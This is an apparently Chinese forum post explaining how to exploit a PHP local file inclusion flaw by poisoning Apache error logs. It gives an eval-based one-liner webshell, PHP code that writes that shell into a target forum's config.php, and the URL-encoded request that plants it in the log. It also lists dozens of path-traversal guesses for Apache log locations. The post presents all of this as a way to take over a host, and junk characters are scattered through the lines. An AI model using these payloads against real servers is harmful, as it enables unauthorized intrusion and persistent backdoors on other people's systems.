php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

% y3 c! G) b) `8 `# E5 N8 T8 z/ R- K比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

( i1 c- A: Z9 j5 q7 I# z到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
% F8 R2 p) @# x) t5 Zfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
! v. Z8 s% m( c- k: N! k. L
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
9 O0 @# q: q4 i0 r
) n, I) ^* p* E6 S( Y; |我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
6 c; f8 B5 {: i5 \* P转换为
! Z+ l& p* p; \8 o9 {! P0 I% @%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
" Z% w+ [3 C  S" X1 vfclose%28%24fp%29%3B%3F%3E
. U% e( f9 b$ Z6 T- q$ d4 A3 j- F" B我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
" C! f7 E& \( f%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
- ]) Z4 w$ O9 p: C( M7 y
这样就错误日志里就记录下了这行写入webshell的代码。
7 y9 j" q$ \8 ~- _" a) i5 a我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

9 S$ x! w( M  ~这样webshell就写入成功了，config.php里就写入一句木马语句
! l8 [1 [. e& T1 B5 r2 _OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
# `0 |# J& ~" R  l直接用lanker的客户端一连，主机就是你的了。
0 Z& r& T& Y; s: _- O$ |( }. N
6 w( c  J+ M; Z2 Y4 `, \/ JPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
4 y3 o( _2 W( w" ?3 ~
: ?1 R' Z; ^1 }0 O其他的日志路径，你可以去猜，也可以参照这里。
  S, R4 Z( K! b9 Z$ N5 ~! A- v../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
& B. D& M4 Y  }6 i0 W" Q; n../../apache/logs/access.log
../../../apache/logs/error.log
+ ]( g. V5 @+ K( N& o, i../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
+ b1 U& B- z4 L, k7 E../../../../../../../../../../etc/httpd/logs/acces.log
  @' I! o( T, N  _+ }; Y# g3 A../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
. d6 o% \: ~5 H- m8 F) E9 |../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
# r7 v. l( s6 Q' @% z: g. G../../../../../../../../../../var/log/apache/access_log
: P& x" e$ l  v; O../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
/ e1 F! S  d: @  Q$ T../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
2 H" r' |: h0 ?! X- r../../../../../../../../../../usr/local/apache/logs/error.log
* S, q; W2 M% h/ w/ M3 o  N../../../../../../../../../../var/log/apache/error_log
  G' X/ W& i8 C9 \1 h../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
5 i/ O/ y7 z7 W8 o5 D. b../apache/logs/error.log     
- g7 ]. i; h4 L* I* m$ [../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
4 c/ r" {0 h5 o  G+ X( [../../../apache/logs/error.log
2 K& g9 [4 c" j/ y../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
" H, p. v7 G4 v/etc/httpd/logs/error_log
2 o6 O' t9 M) Z+ Q+ L/etc/httpd/logs/error.log
5 q" w# k) d$ y2 Y0 ^: V! ^/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
2 i+ @! a4 \' w& I# O( {7 ?, o0 Z/var/log/apache/access_log
7 M! F- S! F( {4 i1 q/var/log/apache/access.log
$ E( Q% `& L, k/var/log/access_log
/var/www/logs/error_log
8 R% C) {) w+ j  p! K0 L5 @/var/www/logs/error.log
6 J" z" \  J4 \8 `6 s0 [/usr/local/apache/logs/error_log
9 a  V4 ]+ p. B% E; W& p/usr/local/apache/logs/error.log
% R' B# h7 W. f/var/log/apache/error_log
8 U& H' |8 P* b4 F% c# C  T/var/log/apache/error.log
/var/log/access_log
: o! r/ V* {, s' ?2 W6 {1 w/var/log/error_log